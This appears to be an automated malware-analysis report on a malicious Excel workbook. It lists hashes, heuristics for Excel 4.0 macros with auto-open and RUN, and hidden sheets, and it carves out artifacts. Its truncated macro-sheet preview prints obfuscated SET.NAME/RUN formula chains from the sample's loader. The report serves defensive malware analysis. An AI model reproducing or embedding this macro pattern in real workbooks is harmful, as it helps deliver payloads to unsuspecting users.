Office (OOXML) malware analysis — malicious · 19cd2ea000f32aa5

MALICIOUS

Office (OOXML)

126.8 KB Created: 2020-06-24 17:08:55 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07

MD5: 4aeb45391b0c9d215da625c9344bef11 SHA-1: 02f46888fe69857fefbc3bb9bb60ee19310a7083 SHA-256: 19cd2ea000f32aa5321497c70e7e7ea1efb288332297246a3cd014d9c3e829cb

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains critical heuristics indicating the presence of Excel 4.0 macros, specifically using dangerous functions like RUN and CALL. These macros are designed to download and execute a second-stage payload, as evidenced by the SET.NAME function attempting to construct a complex string. The VBA project appears to be minimal and likely serves to facilitate the execution of the XLM macros.

Heuristics 6

Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, RETURN, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
VBA project inside OOXML medium OOXML_VBA

Document contains a VBA project — VBA macros present
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 14 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	717 bytes
SHA-256: `be23b65a6fa29680599137f837eec0639785801749f6f7877198f0531b8d3b52`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Sub RectangleRoundedCorners5_Click() Selection.Font.Bold = True End Sub Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	12800 bytes
SHA-256: `ec6830e1b624931f1dad16c79818710687e1ac109990873b15beeff6ccd57224`
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	46149 bytes
SHA-256: `24c3d138f82e5064b1b72bec2d30b00cb6c46dbbb0630d88ded8d54f3d08ffee`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A65:IO59987"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="14.5" x14ac:dyDescent="0.35"/><sheetData><row r="65" spans="65:65" x14ac:dyDescent="0.35"><c r="BM65"><v>1146</v></c></row><row r="66" spans="65:65" x14ac:dyDescent="0.35"><c r="BM66"><v>178</v></c></row><row r="181" spans="136:136" x14ac:dyDescent="0.35"><c r="EF181" t="s"><v>13</v></c></row><row r="337" spans="146:146" x14ac:dyDescent="0.35"><c r="EP337" t="s"><v>13</v></c></row><row r="832" spans="143:143" x14ac:dyDescent="0.35"><c r="EM832" t="s"><v>1</v></c></row><row r="862" spans="47:47" x14ac:dyDescent="0.35"><c r="AU862" t="s"><v>26</v></c></row><row r="987" spans="169:169" x14ac:dyDescent="0.35"><c r="FM987" t="s"><v>20</v></c></row><row r="1146" spans="178:178" x14ac:dyDescent="0.35"><c r="FV1146" t="b"><f>SET.NAME("lpPEBuNKhDbhd",$H$8673&$GF$2236&$IG$43341&$AH$47743&$FC$15457&$BB$1211&$FV$50507&$AX$59265&$BK$57576&$HI$21042&$HZ$50035&$HC$19130&$BK$41040&$FM$45790&$CF$29769&$BD$44224&$FQ$48743&$EA$18083&$FL$39469&$CD$4800&$BI$47295&$CF$6106&$HR$14104&$FH$40999&$EW$9655&$CQ$56009)</f><v>0</v></c></row><row r="1147" spans="178:178" x14ac:dyDescent="0.35"><c r="FV1147" t="b"><f>SET.NAME("psHcenxsVlEYr",$BB$54)</f><v>0</v></c></row><row r="1148" spans="178:178" x14ac:dyDescent="0.35"><c r="FV1148" t="b"><f>CUSTOM.UNDO(oeK(),"Za")</f><v>0</v></c></row><row r="1149" spans="178:178" x14ac:dyDescent="0.35"><c r="FV1149" t="b"><f>RUN($CA$54563)</f><v>0</v></c></row><row r="1211" spans="54:54" x14ac:dyDescent="0.35"><c r="BB1211" t="s"><v>4</v></c></row><row r="1475" spans="108:108" x14ac:dyDescent="0.35"><c r="DD1475" t="s"><v>22</v></c></row><row r="1557" spans="118:240" x14ac:dyDescent="0.35"><c r="IF1557" t="s"><v>43</v></c></row><row r="1568" spans="118:240" x14ac:dyDescent="0.35"><c r="DN1568" t="s"><v>28</v></c></row><row r="1839" spans="60:60" x14ac:dyDescent="0.35"><c r="BH1839" t="s"><v>11</v></c></row><row r="1865" spans="41:41" x14ac:dyDescent="0.35"><c r="AO1865" t="s"><v>40</v></c></row><row r="1949" spans="53:53" x14ac:dyDescent="0.35"><c r="BA1949" t="s"><v>11</v></c></row><row r="1958" spans="245:245" x14ac:dyDescent="0.35"><c r="IK1958" t="b"><f>SET.NAME("lpPEBuNKhDbhd",$BB$28575&$AM$31167&$CF$32864&$EC$34221&$DR$25511&$AK$35324&$HA$32369&$DE$27208)</f><v>0</v></c></row><row r="1959" spans="245:245" x14ac:dyDescent="0.35"><c r="IK1959" t="b"><f>SET.NAME("psHcenxsVlEYr",$DG$38374)</f><v>0</v></c></row><row r="1960" spans="245:245" x14ac:dyDescent="0.35"><c r="IK1960" t="b"><f>CUSTOM.UNDO(oeK(),"y")</f><v>0</v></c></row><row r="1961" spans="245:245" x14ac:dyDescent="0.35"><c r="IK1961" t="b"><f>RUN($ET$33561)</f><v>0</v></c></row><row r="2089" spans="12:12" x14ac:dyDescent="0.35"><c r="L2089" t="s"><v>9</v></c></row><row r="2236" spans="188:188" x14ac:dyDescent="0.35"><c r="GF2236" t="s"><v>1</v></c></row><row r="2322" spans="63:63" x14ac:dyDescent="0.35"><c r="BK2322" t="s"><v>0</v></c></row><row r="2510" spans="161:161" x14ac:dyDescent="0.35"><c r="FE2510" t="s"><v>31</v></c></row><row r="2903" spans="242:242" x14ac:dyDescent="0.35"><c r="IH2903" t="s"><v>25</v></c></row><row r="3157" spans="73:73" x14ac:dyDescent="0.35"><c r="BU3157" t="b"><f>SET.NAME("lpPEBuNKhDbhd",$FB$56567&$FA$33372&$FM$28532&$DA$44380&$CH$14532&$FV$14210)</f><v>0</v></c></row><row r="3158" spans="73:73" x14ac:dyDescent="0.35"><c r="BU3158" t="b"><f>SET.NAME("psHcenxsVlEYr",$AH$15461)</f><v>0</v></c></row><row r="31 ... (truncated)

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